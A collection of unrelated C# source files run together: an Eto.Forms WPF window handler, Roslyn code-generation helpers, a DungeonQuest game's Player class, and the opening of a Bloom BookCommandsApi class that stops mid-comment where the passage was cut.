using System; using System.Linq; using Eto.Forms; using Eto.Drawing; using sw = System.Windows; using swm = System.Windows.Media; using swc = System.Windows.Controls; using swi = System.Windows.Input; using Eto.Wpf.CustomControls; using Eto.Wpf.Forms.Menu; using System.ComponentModel; namespace Eto.Wpf.Forms { public interface IWpfWindow { sw.Window Control { get; } void SetOwnerFor(sw.Window child); } public abstract class WpfWindow<TControl, TWidget, TCallback> : WpfPanel<TControl, TWidget, TCallback>, Window.IHandler, IWpfWindow where TControl : sw.Window where TWidget : Window where TCallback : Window.ICallback { Icon icon; MenuBar menu; Eto.Forms.ToolBar toolBar; swc.DockPanel main; swc.ContentControl menuHolder; swc.ContentControl toolBarHolder; swc.DockPanel content; Size? initialClientSize; bool resizable = true; bool maximizable = true; bool minimizable = true; public override IntPtr NativeHandle { get { return new System.Windows.Interop.WindowInteropHelper(Control).EnsureHandle(); } } protected override void Initialize() { content = new swc.DockPanel(); base.Initialize(); Control.SizeToContent = sw.SizeToContent.WidthAndHeight; Control.SnapsToDevicePixels = true; Control.UseLayoutRounding = true; main = new swc.DockPanel(); menuHolder = new swc.ContentControl { IsTabStop = false }; toolBarHolder = new swc.ContentControl { IsTabStop = false }; content.Background = System.Windows.SystemColors.ControlBrush; swc.DockPanel.SetDock(menuHolder, swc.Dock.Top); swc.DockPanel.SetDock(toolBarHolder, swc.Dock.Top); main.Children.Add(menuHolder); main.Children.Add(toolBarHolder); main.Children.Add(content); Control.Content = main; Control.Loaded += delegate { SetResizeMode(); if (initialClientSize != null) { initialClientSize = null; SetContentSize(); } // stop form from auto-sizing after it is shown Control.SizeToContent = sw.SizeToContent.Manual; Control.MoveFocus(new swi.TraversalRequest(swi.FocusNavigationDirection.Next)); }; // needed to handle Application.Terminating event HandleEvent(Window.ClosingEvent); } protected override void SetContentScale(bool xscale, bool yscale) { base.SetContentScale(true, true); } public override void AttachEvent(string id) { switch (id) { case Eto.Forms.Control.ShownEvent: Control.IsVisibleChanged += (sender, e) => { if ((bool)e.NewValue) { // this is a trick to achieve similar behaviour as in WinForms // (IsVisibleChanged triggers too early, we want it after measure-lay-render) Control.Dispatcher.BeginInvoke(new Action(() => Callback.OnShown(Widget, EventArgs.Empty)), sw.Threading.DispatcherPriority.ContextIdle, null); } }; break; case Window.ClosedEvent: Control.Closed += delegate { Callback.OnClosed(Widget, EventArgs.Empty); }; break; case Window.ClosingEvent: Control.Closing += (sender, e) => { var args = new CancelEventArgs { Cancel = e.Cancel }; Callback.OnClosing(Widget, args); if (!args.Cancel && sw.Application.Current.Windows.Count == 1) { // last window closing, so call OnTerminating to let the app abort terminating var app = ((ApplicationHandler)Application.Instance.Handler); app.Callback.OnTerminating(app.Widget, args); } e.Cancel = args.Cancel; }; break; case Window.WindowStateChangedEvent: Control.StateChanged += (sender, e) => Callback.OnWindowStateChanged(Widget, EventArgs.Empty); break; case Eto.Forms.Control.GotFocusEvent: Control.Activated += (sender, e) => Callback.OnGotFocus(Widget, EventArgs.Empty); break; case Eto.Forms.Control.LostFocusEvent: Control.Deactivated += (sender, e) => Callback.OnLostFocus(Widget, EventArgs.Empty); break; case Window.LocationChangedEvent: Control.LocationChanged += (sender, e) => Callback.OnLocationChanged(Widget, EventArgs.Empty); break; default: base.AttachEvent(id); break; } } public override void OnLoad(EventArgs e) { base.OnLoad(e); SetScale(false, false); } protected virtual void UpdateClientSize(Size size) { var xdiff = Control.ActualWidth - content.ActualWidth; var ydiff = Control.ActualHeight - content.ActualHeight; Control.Width = size.Width + xdiff; Control.Height = size.Height + ydiff; Control.SizeToContent = sw.SizeToContent.Manual; } protected override void SetSize() { // don't set the minimum size of a window, just the preferred size ContainerControl.Width = PreferredSize.Width; ContainerControl.Height = PreferredSize.Height; ContainerControl.MinWidth = MinimumSize.Width; ContainerControl.MinHeight = MinimumSize.Height; } public Eto.Forms.ToolBar ToolBar { get { return toolBar; } set { toolBar = value; toolBarHolder.Content = toolBar != null ? toolBar.ControlObject : null; } } public void Close() { Control.Close(); } void CopyKeyBindings(swc.ItemCollection items) { foreach (var item in items.OfType<swc.MenuItem>()) { Control.InputBindings.AddRange(item.InputBindings); if (item.HasItems) CopyKeyBindings(item.Items); } } public MenuBar Menu { get { return menu; } set { menu = value; if (menu != null) { var handler = (MenuBarHandler)menu.Handler; menuHolder.Content = handler.Control; Control.InputBindings.Clear(); CopyKeyBindings(handler.Control.Items); } else { menuHolder.Content = null; } } } public Icon Icon { get { return icon; } set { icon = value; if (value != null) { Control.Icon = (swm.ImageSource)icon.ControlObject; } } } public virtual bool Resizable { get { return resizable; } set { if (resizable != value) { resizable = value; SetResizeMode(); } } } public virtual bool Maximizable { get { return maximizable; } set { if (maximizable != value) { maximizable = value; SetResizeMode(); } } } public virtual bool Minimizable { get { return minimizable; } set { if (minimizable != value) { minimizable = value; SetResizeMode(); } } } protected virtual void SetResizeMode() { if (resizable) Control.ResizeMode = sw.ResizeMode.CanResizeWithGrip; else if (minimizable) Control.ResizeMode = sw.ResizeMode.CanMinimize; else Control.ResizeMode = sw.ResizeMode.NoResize; var hwnd = new sw.Interop.WindowInteropHelper(Control).Handle; if (hwnd != IntPtr.Zero) { var val = Win32.GetWindowLong(hwnd, Win32.GWL.STYLE); if (maximizable) val |= (uint)Win32.WS.MAXIMIZEBOX; else val &= ~(uint)Win32.WS.MAXIMIZEBOX; if (minimizable) val |= (uint)Win32.WS.MINIMIZEBOX; else val &= ~(uint)Win32.WS.MINIMIZEBOX; Win32.SetWindowLong(hwnd, Win32.GWL.STYLE, val); } } public virtual bool ShowInTaskbar { get { return Control.ShowInTaskbar; } set { Control.ShowInTaskbar = value; } } public virtual bool Topmost { get { return Control.Topmost; } set { Control.Topmost = value; } } public void Minimize() { Control.WindowState = sw.WindowState.Minimized; } public override Size ClientSize { get { if (Control.IsLoaded) return new Size((int)content.ActualWidth, (int)content.ActualHeight); return initialClientSize ?? Size.Empty; } set { if (Control.IsLoaded) UpdateClientSize(value); else { initialClientSize = value; SetContentSize(); } } } void SetContentSize() { if (initialClientSize != null) { var value = initialClientSize.Value; content.MinWidth = value.Width >= 0 ? value.Width : 0; content.MinHeight = value.Height >= 0 ? value.Height : 0; content.MaxWidth = value.Width >= 0 ? value.Width : double.PositiveInfinity; content.MaxHeight = value.Height >= 0 ? value.Height : double.PositiveInfinity; } else { content.MinWidth = content.MinHeight = 0; content.MaxWidth = content.MaxHeight = double.PositiveInfinity; } } public override Size Size { get { return base.Size; } set { Control.SizeToContent = sw.SizeToContent.Manual; base.Size = value; if (!Control.IsLoaded) { initialClientSize = null; SetContentSize(); } } } public string Title { get { return Control.Title; } set { Control.Title = value; } } static readonly object LocationSet_Key = new object(); protected bool LocationSet { get { return Widget.Properties.Get<bool>(LocationSet_Key); } set { Widget.Properties.Set(LocationSet_Key, value); } } public new Point Location { get { var left = Control.Left; var top = Control.Top; if (double.IsNaN(left) || double.IsNaN(top)) return Point.Empty; return new Point((int)left, (int)top); } set { Control.Left = value.X; Control.Top = value.Y; if (!Control.IsLoaded) LocationSet = true; } } public WindowState WindowState { get { switch (Control.WindowState) { case sw.WindowState.Maximized: return WindowState.Maximized; case sw.WindowState.Minimized: return WindowState.Minimized; case sw.WindowState.Normal: return WindowState.Normal; default: throw new NotSupportedException(); } } set { switch (value) { case WindowState.Maximized: Control.WindowState = sw.WindowState.Maximized; if (!Control.IsLoaded) Control.SizeToContent = sw.SizeToContent.Manual; break; case WindowState.Minimized: Control.WindowState = sw.WindowState.Minimized; if (!Control.IsLoaded) Control.SizeToContent = sw.SizeToContent.WidthAndHeight; break; case WindowState.Normal: Control.WindowState = sw.WindowState.Normal; if (!Control.IsLoaded) Control.SizeToContent = sw.SizeToContent.WidthAndHeight; break; default: throw new NotSupportedException(); } } } public Rectangle RestoreBounds { get { return Control.WindowState == sw.WindowState.Normal || Control.RestoreBounds.IsEmpty ? Widget.Bounds : Control.RestoreBounds.ToEto(); } } sw.Window IWpfWindow.Control { get { return Control; } } public double Opacity { get { return Control.Opacity; } set { if (Math.Abs(value - 1.0) > 0.01f) { if (Control.IsLoaded) { GlassHelper.BlurBehindWindow(Control); //GlassHelper.ExtendGlassFrame (Control); Control.Opacity = value; } else { Control.Loaded += delegate { GlassHelper.BlurBehindWindow(Control); //GlassHelper.ExtendGlassFrame (Control); Control.Opacity = value; }; } } else { Control.Opacity = value; } } } public override bool HasFocus { get { return Control.IsActive && ((ApplicationHandler)Application.Instance.Handler).IsActive; } } public WindowStyle WindowStyle { get { return Control.WindowStyle.ToEto(); } set { Control.WindowStyle = value.ToWpf(); } } public void BringToFront() { if (Control.WindowState == sw.WindowState.Minimized) Control.WindowState = sw.WindowState.Normal; Control.Activate(); } public void SendToBack() { if (Topmost) return; var hWnd = new sw.Interop.WindowInteropHelper(Control).Handle; if (hWnd != IntPtr.Zero) Win32.SetWindowPos(hWnd, Win32.HWND_BOTTOM, 0, 0, 0, 0, Win32.SWP.NOSIZE | Win32.SWP.NOMOVE); var window = sw.Application.Current.Windows.OfType<sw.Window>().FirstOrDefault(r => r != Control); if (window != null) window.Focus(); } public override Color BackgroundColor { get { return content.Background.ToEtoColor(); } set { content.Background = value.ToWpfBrush(content.Background); } } public Screen Screen { get { return new Screen(new ScreenHandler(Control)); } } public override void SetContainerContent(sw.FrameworkElement content) { this.content.Children.Add(content); } public void SetOwnerFor(sw.Window child) { child.Owner = Control; } public void SetOwner(Window owner) { if (owner == null) { Control.Owner = null; return; } var wpfWindow = owner.Handler as IWpfWindow; if (wpfWindow != null) wpfWindow.SetOwnerFor(Control); } } }
// Copyright (c) Microsoft. All Rights Reserved. Licensed under the Apache License, Version 2.0. See License.txt in the project root for license information. using System; using System.Collections.Generic; using System.Linq; using System.Threading; using Microsoft.CodeAnalysis.Editing; using Microsoft.CodeAnalysis.Formatting; using Roslyn.Utilities; namespace Microsoft.CodeAnalysis.CodeGeneration { internal static class CodeGenerationHelpers { public static SyntaxNode GenerateThrowStatement( SyntaxGenerator factory, SemanticDocument document, string exceptionMetadataName, CancellationToken cancellationToken) { var compilation = document.SemanticModel.Compilation; var exceptionType = compilation.GetTypeByMetadataName(exceptionMetadataName); // If we can't find the Exception, we obviously can't generate anything. if (exceptionType == null) { return null; } var exceptionCreationExpression = factory.ObjectCreationExpression( exceptionType, SpecializedCollections.EmptyList<SyntaxNode>()); return factory.ThrowStatement(exceptionCreationExpression); } public static TSyntaxNode AddAnnotationsTo<TSyntaxNode>(ISymbol symbol, TSyntaxNode syntax) where TSyntaxNode : SyntaxNode { if (syntax != null && symbol is CodeGenerationSymbol) { return syntax.WithAdditionalAnnotations( ((CodeGenerationSymbol)symbol).GetAnnotations()); } return syntax; } public static TSyntaxNode AddCleanupAnnotationsTo<TSyntaxNode>(TSyntaxNode node) where TSyntaxNode : SyntaxNode { return node.WithAdditionalAnnotations(Formatter.Annotation); } public static void CheckNodeType<TSyntaxNode1>(SyntaxNode node, string argumentName) where TSyntaxNode1 : SyntaxNode { if (node == null || node is TSyntaxNode1) { return; } throw new ArgumentException(WorkspacesResources.Node_is_of_the_wrong_type, argumentName); } public static void GetNameAndInnermostNamespace( INamespaceSymbol @namespace, CodeGenerationOptions options, out string name, out INamespaceSymbol innermostNamespace) { if (options.GenerateMembers && options.MergeNestedNamespaces && @namespace.Name != string.Empty) { var names = new List<string>(); names.Add(@namespace.Name); innermostNamespace = @namespace; while (true) { var members = innermostNamespace.GetMembers().ToList(); if (members.Count == 1 && members[0] is INamespaceSymbol && CodeGenerationNamespaceInfo.GetImports(innermostNamespace).Count == 0) { var childNamespace = (INamespaceSymbol)members[0]; names.Add(childNamespace.Name); innermostNamespace = childNamespace; continue; } break; } name = string.Join(".", names.ToArray()); } else { name = @namespace.Name; innermostNamespace = @namespace; } } public static bool IsSpecialType(ITypeSymbol type, SpecialType specialType) { return type != null && type.SpecialType == specialType; } public static int GetPreferredIndex(int index, IList<bool> availableIndices, bool forward) { if (availableIndices == null) { return index; } if (forward) { for (int i = index; i < availableIndices.Count; i++) { if (availableIndices[i]) { return i; } } } else { for (int i = index; i >= 0; i--) { if (availableIndices[i]) { return i; } } } return -1; } public static bool TryGetDocumentationComment(ISymbol symbol, string commentToken, out string comment, CancellationToken cancellationToken = default(CancellationToken)) { var xml = symbol.GetDocumentationCommentXml(cancellationToken: cancellationToken); if (string.IsNullOrEmpty(xml)) { comment = null; return false; } var commentStarter = string.Concat(commentToken, " "); var newLineStarter = string.Concat("\n", commentStarter); // Start the comment with an empty line for visual clarity. comment = string.Concat(commentStarter, "\r\n", commentStarter, xml.Replace("\n", newLineStarter)); return true; } public static bool TypesMatch(ITypeSymbol type, object value) { // No context type, have to assume that they don't match. if (type != null) { switch (type.SpecialType) { case SpecialType.System_SByte: return value is sbyte; case SpecialType.System_Byte: return value is byte; case SpecialType.System_Int16: return value is short; case SpecialType.System_UInt16: return value is ushort; case SpecialType.System_Int32: return value is int; case SpecialType.System_UInt32: return value is uint; case SpecialType.System_Int64: return value is long; case SpecialType.System_UInt64: return value is ulong; case SpecialType.System_Decimal: return value is decimal; case SpecialType.System_Single: return value is float; case SpecialType.System_Double: return value is double; } } return false; } public static IEnumerable<ISymbol> GetMembers(INamedTypeSymbol namedType) { if (namedType.TypeKind != TypeKind.Enum) { return namedType.GetMembers(); } return namedType.GetMembers() .OfType<IFieldSymbol>() .OrderBy((f1, f2) => { if (f1.HasConstantValue != f2.HasConstantValue) { return f1.HasConstantValue ? 1 : -1; } return f1.HasConstantValue ? Comparer<object>.Default.Compare(f1.ConstantValue, f2.ConstantValue) : f1.Name.CompareTo(f2.Name); }).ToList(); } public static T GetReuseableSyntaxNodeForSymbol<T>(ISymbol symbol, CodeGenerationOptions options) where T : SyntaxNode { Contract.ThrowIfNull(symbol); return options != null && options.ReuseSyntax && symbol.DeclaringSyntaxReferences.Length == 1 ? symbol.DeclaringSyntaxReferences[0].GetSyntax() as T : null; } public static T GetReuseableSyntaxNodeForAttribute<T>(AttributeData attribute, CodeGenerationOptions options) where T : SyntaxNode { Contract.ThrowIfNull(attribute); return options != null && options.ReuseSyntax && attribute.ApplicationSyntaxReference != null ? attribute.ApplicationSyntaxReference.GetSyntax() as T : null; } } }
// Author: abi // Project: DungeonQuest // Path: C:\code\Xna\DungeonQuest\GameLogic // Creation date: 28.03.2007 01:01 // Last modified: 31.07.2007 04:39 #region Using directives using DungeonQuest.GameLogic; using DungeonQuest.GameScreens; using DungeonQuest.Graphics; using DungeonQuest.Helpers; using DungeonQuest.Properties; using DungeonQuest.Sounds; using Microsoft.Xna.Framework; using Microsoft.Xna.Framework.Graphics; using Microsoft.Xna.Framework.Input; using System; using System.Collections.Generic; using System.Text; #endregion namespace DungeonQuest.Game { /// <summary> /// Player helper class, holds all the current game properties: /// Health, Weapon and Score. /// Note: This is a static class and holds always all player entries /// for the current game. If we would have more than 1 player (e.g. /// in multiplayer mode) this should not be a static class! /// </summary> static class Player { #region Variables /// <summary> /// Current game time in ms. Used for time display in game. Also used to /// update the level position. /// </summary> private static float gameTimeMs = 0, lastGameTimeMs = 0; /// <summary> /// Stop time, sets gameTime to -1 and stops all animations, etc. /// </summary> public static void StopTime() { gameTimeMs = lastGameTimeMs = -1; } // StopTime() /// <summary> /// Set game time ms /// </summary> /// <param name="newMs">New ms</param> public static void SetGameTimeMs(float newMs) { lastGameTimeMs = gameTimeMs; gameTimeMs = newMs; } // SetGameTimeMs(newMs) /// <summary> /// Game time /// </summary> /// <returns>Float</returns> public static float GameTime { get { return gameTimeMs / 1000.0f; } // get } // GameTime /// <summary> /// Last game time, useful to check if we reached a new animation step. /// </summary> /// <returns>Float</returns> public static float LastGameTime { get { return lastGameTimeMs / 1000.0f; } // get } // LastGameTime /// <summary> /// Won or lost? /// </summary> public static bool victory = false; /// <summary> /// Game over? /// </summary> public static bool gameOver = false; /// <summary> /// Is game over? /// </summary> /// <returns>Bool</returns> public static bool GameOver { get { return gameOver; } // get } // GameOver /// <summary> /// Remember if we already uploaded our highscore for this game. /// Don't do this twice (e.g. when pressing esc). /// </summary> static bool alreadyUploadedHighscore = false; /// <summary> /// Set game over and upload highscore /// </summary> public static void SetGameOverAndUploadHighscore() { // Set lifes to 0 and set gameOver to true to mark this game as ended. gameOver = true; // Upload highscore if (alreadyUploadedHighscore == false) { alreadyUploadedHighscore = true; Highscores.SubmitHighscore(score, Highscores.DefaultLevelName); } // if (alreadyUploadedHighscore) } // SetGameOverAndUploadHighscore() #endregion #region Current player values (health, weapon, etc.) /// <summary> /// Max health the player /// </summary> public static float MaxHealth = 100.0f; /// <summary> /// Health, 100 means we have 100% health, everything below means we /// are damaged. If we reach 0, we die! /// </summary> public static float health = 100.0f; /// <summary> /// Weapon types we can carry with our ship /// </summary> public enum WeaponTypes { Club, Sword, BigSword, } // enum WeaponTypes /// <summary> /// Weapon damage /// </summary> public static readonly float[] WeaponDamage = new float[] { 5,//4, // Club 7,//6, // Sword 9,//8,//9, //15, // Big Sword }; // WeaponDamage /// <summary> /// Role playing stuff /// </summary> public static int levelPointsToSpend = 0; public static int damageIncrease = 0, defenseIncrease = 0, speedIncrease = 0; /// <summary> /// Current weapon damage /// </summary> /// <returns>Float</returns> public static float CurrentWeaponDamage { get { return WeaponDamage[(int)currentWeapon] + damageIncrease;// *2; } // get } // CurrentWeaponDamage /// <summary> /// Current defense /// </summary> /// <returns>Float</returns> public static float CurrentDefense { get { return defenseIncrease; } // get } // CurrentDefense /// <summary> /// Extra speed /// </summary> /// <returns>Float</returns> public static float ExtraSpeed { get { return speedIncrease; } // get } // ExtraSpeed /// <summary> /// Weapon we currently have, each weapon is replaced by the /// last collected one. No ammunition is used. /// </summary> public static WeaponTypes currentWeapon = WeaponTypes.Club; /// <summary> /// Got Club, Sword or Big Sword weapons? If false, we can't /// switch to that weapon. /// </summary> public static bool[] gotWeapons = new bool[3] { true, false, false }; /// <summary> /// Choose next weapon if possible. /// </summary> public static void NextWeapon() { WeaponTypes nextWeapon = (WeaponTypes)(((int)currentWeapon+1)%3); if (gotWeapons[(int)nextWeapon] == true) { currentWeapon = nextWeapon; return; } // if (gotWeapons) // Try the other direction nextWeapon = (WeaponTypes)(((int)currentWeapon + 2) % 3); if (gotWeapons[(int)nextWeapon] == true) currentWeapon = nextWeapon; } // NextWeapon() /// <summary> /// Choose previous weapon if possible. /// </summary> public static void PreviousWeapon() { WeaponTypes previousWeapon = (WeaponTypes)(((int)currentWeapon + 2) % 3); if (gotWeapons[(int)previousWeapon] == true) { currentWeapon = previousWeapon; return; } // if (gotWeapons) // Try the other direction previousWeapon = (WeaponTypes)(((int)currentWeapon + 1) % 3); if (gotWeapons[(int)previousWeapon] == true) currentWeapon = previousWeapon; } // PreviousWeapon() /// <summary> /// Current score. Used as highscore if game is over. /// Start with 25 points to make it easier to get next level! /// </summary> public static int score = 25; /// <summary> /// Current level, start with 1, end with whatever. /// </summary> public static int level = 1; /// <summary> /// Did we get the key? We just have to go close to it to collect. /// When we got it we can proceed through the door to the second /// level. /// </summary> public static bool gotKey = false; #endregion #region Reset everything for starting a new game /// <summary> /// Reset all player entries for restarting a game. /// </summary> public static void Reset() { gameOver = false; alreadyUploadedHighscore = false; gameTimeMs = 0; lastGameTimeMs = 0; health = 100.0f; MaxHealth = 100.0f; score = 25; level = 1; levelPointsToSpend = 0; damageIncrease = 0; defenseIncrease = 0; speedIncrease = 0; currentWeapon = WeaponTypes.Club; gotWeapons = new bool[3] { true, false, false }; gotKey = false; } // Reset(setLevelName) #endregion #region Reached next level /// <summary> /// Need points for level /// </summary> /// <param name="checkLevel">New level</param> /// <returns>Float</returns> public static float NeedPointsForLevel(int checkLevel) { float points = 0; float pointsAdd = 50; for (int i = 0; i < checkLevel; i++) { points += pointsAdd; pointsAdd += 10; } // for (int) return points; } // NeedPointsForLevel(checkLevel) /// <summary> /// Reached next level /// </summary> /// <returns>Bool</returns> public static bool ReachedNextLevel() { return (Player.score > NeedPointsForLevel(level)); } // ReachedNextLevel() #endregion #region Handle game logic /// <summary> /// RX /// </summary> /// <param name="x">X</param> /// <returns>Int</returns> static int RX(int x) { return (int)(0.5f + x * BaseGame.Width / 1024.0f); } // RX() /// <summary> /// RY /// </summary> /// <param name="y">Y</param> /// <returns>Int</returns> static int RY(int y) { return (int)(0.5f + y * BaseGame.Height / 640.0f); } // RY() /// <summary> /// Handle game logic /// </summary> public static void HandleGameLogic() { // Don't handle any more game logic if game is over. if (Player.GameOver) { if (victory) { TextureFont.WriteTextCentered( BaseGame.Width / 2, BaseGame.Height / 8, "You reached the Treasure. Good work!", Color.Yellow, 1.0f); // Display Victory message TextureFont.WriteTextCentered( BaseGame.Width / 2, BaseGame.Height / 4, "Victory! You won."); } // if (victory) else { // Display game over message TextureFont.WriteTextCentered( BaseGame.Width / 2, BaseGame.Height / 4, "Game Over! You lost."); } // else TextureFont.WriteTextCentered( BaseGame.Width / 2, BaseGame.Height / 4 + RY(40), "Your Highscore: " + Player.score + " (#" + (Highscores.GetRankFromCurrentScore(Player.score) + 1) + ")", ColorHelper.FromArgb(200, 200, 200), 1.0f); TextureFont.WriteTextCentered( BaseGame.Width / 2, BaseGame.Height / 4 + RY(80), "Press Start or Enter to restart", ColorHelper.FromArgb(200, 200, 200), 1.0f); // Show highscores! int xPos = RX(300); int yPos = BaseGame.Height / 4 + RY(80) + RY(65); TextureFont.WriteText(xPos, yPos, "Highscores:"); yPos += RY(40); Highscores.Highscore[] selectedHighscores = Highscores.AllHighscores; for (int num = 0; num < Highscores.NumOfHighscores; num++) { Color col = Input.MouseInBox(new Rectangle( xPos, yPos + num * RY(24), RX(400), RY(28))) ? Color.White : ColorHelper.FromArgb(200, 200, 200); TextureFont.WriteText(xPos, yPos + num * RY(24), (1 + num) + ".", col); TextureFont.WriteText(xPos + RX(50), yPos + num * RY(24), selectedHighscores[num].name, col); TextureFont.WriteText(xPos + RX(340), yPos + num * RY(24), selectedHighscores[num].points.ToString(), col); } // for (num) // Restart with start if (Input.GamePad.Buttons.Start == ButtonState.Pressed || Input.KeyboardEnterJustPressed || Input.MouseLeftButtonJustPressed) { // Reset everything Player.Reset(); BaseGame.camera.Reset(); GameManager.Reset(); } // if (Input.GamePad.Buttons.Start) return; } // if (Player.GameOver) // Increase game time lastGameTimeMs = gameTimeMs; gameTimeMs += BaseGame.ElapsedTimeThisFrameInMs;// / 10.0f; //tst! // Change weapon with left/right shoulder weapons if (Input.GamePadLeftShoulderJustPressed || Input.MouseWheelDelta < 0 || Input.KeyboardKeyJustPressed(GameSettings.Default.RollRightKey)) { PreviousWeapon(); } // if (Input.GamePadLeftShoulderJustPressed) else if (Input.GamePadRightShoulderJustPressed || Input.MouseWheelDelta > 0 || Input.KeyboardKeyJustPressed(GameSettings.Default.RollLeftKey)) { NextWeapon(); } // else if //TextureFont.WriteText(100, 100, "Playerpos="+BaseGame.camera.PlayerPos); // Player has fallen out? Then restart! if (BaseGame.camera.PlayerPos.Z < -85.0f) { // Reset everything Player.Reset(); BaseGame.camera.Reset(); GameManager.Reset(); } // if (Input.GamePad.Buttons.Start) // Increase level? if (ReachedNextLevel()) { // Inc level Player.level++; // Give skill point to spend Player.levelPointsToSpend++; // Give player more total health Player.MaxHealth += 10.0f; // Refresh health Player.health = Player.MaxHealth; // Just give the player a sword at level 5 and // the big sword at level 10. if (Player.level == 5) currentWeapon = WeaponTypes.Sword; else if (Player.level == 10) currentWeapon = WeaponTypes.BigSword; // Show screen border effect GameManager.bloodBorderColor = Color.Green; GameManager.bloodBorderEffect = 1.0f;// 0.75f; // Also show glow and some effects EffectManager.AddRocketOrShipFlareAndSmoke( BaseGame.camera.PlayerPos + new Vector3(0, 0, 1.5f), 5.0f, 0.1f); EffectManager.AddEffect( BaseGame.camera.PlayerPos + new Vector3(0, 0, 1.5f), EffectManager.EffectType.LightShort, 2.5f, 0); // Show text message GameManager.AddTextMessage("You reached Level " + Player.level, GameManager.TextTypes.LevelUp); GameManager.AddTextMessage( "Improve your skills with X, Y, or B.", GameManager.TextTypes.Normal); // And don't forget the sound effect Sound.Play(Sound.Sounds.LevelUp); } // if (Player.score) // If we run out of hitpoints, we die if (Player.health <= 0.0f) { Player.gameOver = true; Player.victory = false; Sound.Play(Sound.Sounds.PlayerWasHit); Sound.Play(Sound.Sounds.Defeat); Highscores.SubmitHighscore(Player.score, Highscores.DefaultLevelName); GameManager.AddTextMessage("You died!", GameManager.TextTypes.Died); } // if (Player.health) // If we reach the treasure we win (only check x/y because // the helper is too low in the ground). if (Vector2.Distance(new Vector2( BaseGame.camera.PlayerPos.X, BaseGame.camera.PlayerPos.Y), new Vector2( GameManager.treasurePosition.X, GameManager.treasurePosition.Y)) < 4.0f) { Player.gameOver = true; Player.victory = true; Sound.Play(Sound.Sounds.Victory); Highscores.SubmitHighscore(Player.score, Highscores.DefaultLevelName); GameManager.AddTextMessage("You won!", GameManager.TextTypes.LevelUp); } // if (Vector3.Distance) // Handle skill points, if we have any if (levelPointsToSpend > 0) { if (Input.GamePadXJustPressed || Input.KeyboardKeyJustPressed(Keys.X)) { defenseIncrease++; levelPointsToSpend--; Sound.Play(Sound.Sounds.Click); GameManager.AddTextMessage("You improved your defense.", GameManager.TextTypes.LevelUp); } // if (Input.GamePadXJustPressed) else if (Input.GamePadYJustPressed || Input.KeyboardKeyJustPressed(Keys.Y)) { speedIncrease++; levelPointsToSpend--; Sound.Play(Sound.Sounds.Click); GameManager.AddTextMessage("You can run faster now.", GameManager.TextTypes.LevelUp); } // else if else if (Input.GamePadBJustPressed || Input.KeyboardKeyJustPressed(Keys.B)) { damageIncrease++; levelPointsToSpend--; Sound.Play(Sound.Sounds.Click); GameManager.AddTextMessage("Your weapon skills were improved.", GameManager.TextTypes.LevelUp); } // else if } // if (levelPointsToSpend) // Was F2 or Alt+O just pressed? if (Input.KeyboardF2JustPressed || ((Input.Keyboard.IsKeyDown(Keys.LeftAlt) || Input.Keyboard.IsKeyDown(Keys.RightAlt)) && Input.KeyboardKeyJustPressed(Keys.O))) { // Then open up the options screen! DungeonQuestGame.AddGameScreen(new Options()); } // if } // HandleGameLogic() #endregion } // class Player } // namespace DungeonQuest
using System; using System.Collections.Concurrent; using System.Collections.Generic; using System.Drawing; using System.Drawing.Imaging; using System.IO; using System.Linq; using System.Text; using System.Threading.Tasks; using System.Windows.Forms; using Bloom.Api; using Bloom.Book; using Bloom.Collection; using Bloom.CollectionTab; using Bloom.MiscUI; using Bloom.Properties; using Bloom.Spreadsheet; using Bloom.TeamCollection; using DesktopAnalytics; using L10NSharp; using SIL.IO; using SIL.Reporting; namespace Bloom.web.controllers { /// <summary> /// Commands that affect entire books, typically menu commands in the Collection tab right-click menu /// </summary> public class BookCommandsApi { private readonly LibraryModel _libraryModel; private BookSelection _bookSelection; private readonly SpreadsheetApi _spreadsheetApi; private readonly BloomWebSocketServer _webSocketServer; private string _previousTargetSaveAs; // enhance: should this be shared with CollectionApi or other save as locations? public BookCommandsApi(LibraryModel libraryModel, BloomWebSocketServer webSocketServer, BookSelection bookSelection, SpreadsheetApi spreadsheetApi) { _libraryModel = libraryModel; _webSocketServer = webSocketServer; _bookSelection = bookSelection; this._spreadsheetApi = spreadsheetApi; _libraryModel.BookCommands = this; } public void RegisterWithApiHandler(BloomApiHandler apiHandler) { // Must not require sync, because it launches a Bloom dialog, which will make other api requests // that will be blocked if this is locked. apiHandler.RegisterEndpointHandlerExact("bookCommand/exportToSpreadsheet", (request) => { _spreadsheetApi.ShowExportToSpreadsheetUI(GetBookObjectFromPost(request)); request.PostSucceeded(); }, true, false); apiHandler.RegisterEndpointHandlerExact("bookCommand/enhanceLabel", (request) => { // We want this to be fast...many things are competing for api handling threads while // Bloom is starting up, including many buttons sending this request... // so we'll postpone until idle even searching for the right BookInfo. var collection = request.RequiredParam("collection-id").Trim(); var id = request.RequiredParam("id"); RequestButtonLabelUpdate(collection, id); request.PostSucceeded(); }, false, false); apiHandler.RegisterBooleanEndpointHandlerExact("bookCommand/decodable", request => { return _libraryModel.IsBookDecodable;}, (request, b) => { _libraryModel.SetIsBookDecodable(b);}, true); apiHandler.RegisterBooleanEndpointHandlerExact("bookCommand/leveled", request => { return _libraryModel.IsBookLeveled; }, (request, b) => { _libraryModel.SetIsBookLeveled(b); }, true); apiHandler.RegisterEndpointHandler("bookCommand/", HandleBookCommand, true); } public void RequestButtonLabelUpdate(string collectionPath, string id) { var oldCount = _buttonsNeedingSlowUpdate.Count; _buttonsNeedingSlowUpdate.Enqueue(Tuple.Create(collectionPath, id)); // I'm nervous about messing with event subscriptions and unsubscriptions on multiple threads, // but it is undesirable to leave the idle event running forever once there is nothing to enhance. // Therefore, the event handler removes itself when it finds nothing in the queue, and so // we need to make sure we have one when we put something into the queue. That could easily result in the event // handler being present many times, leading to longer delays when the event is raised, so we // remove it before adding it. // So far so good, but we need to consider race conditions. I very much don't want to use Invoke // here, and would prefer to avoid even a lock, so as to minimize the time that handling this // event keeps a server thread busy during application startup. // So, what can go wrong? The last thing we do in relation to the event is to add the handler. // At that point, there is a handler, so the button will eventually get processed. // It turns out we have to add the event handler on the UI thread. If that were not the case, // we could get more than one handler added: context switches could cause unsubscribe // to happen on multiple threads, followed by two or more threads subscribing. This would be fairly // harmless: at worst, each subscription results in one button being enhanced, and once the queue // is empty, successive calls to the handler will eventually remove all of them. // More worrying is this possibility: // - event handler looks at queue and finds nothing. Before the code in that method for removing the handler executes, // - context switch to server thread which adds event, removes and adds handler, we have 1 handler // - context switch back to event handler, which proceeds to remove the handler. We have 0 handlers, // but a button queued. I don't think this could happen given that we have to Invoke to subscribe, // but just in case, the handler is careful about how it removes itself to prevent this. if (oldCount == 0) // otherwise, we must already have a subscription { // I can't find any documentation indicating that we must use Invoke here, but if we don't, // it 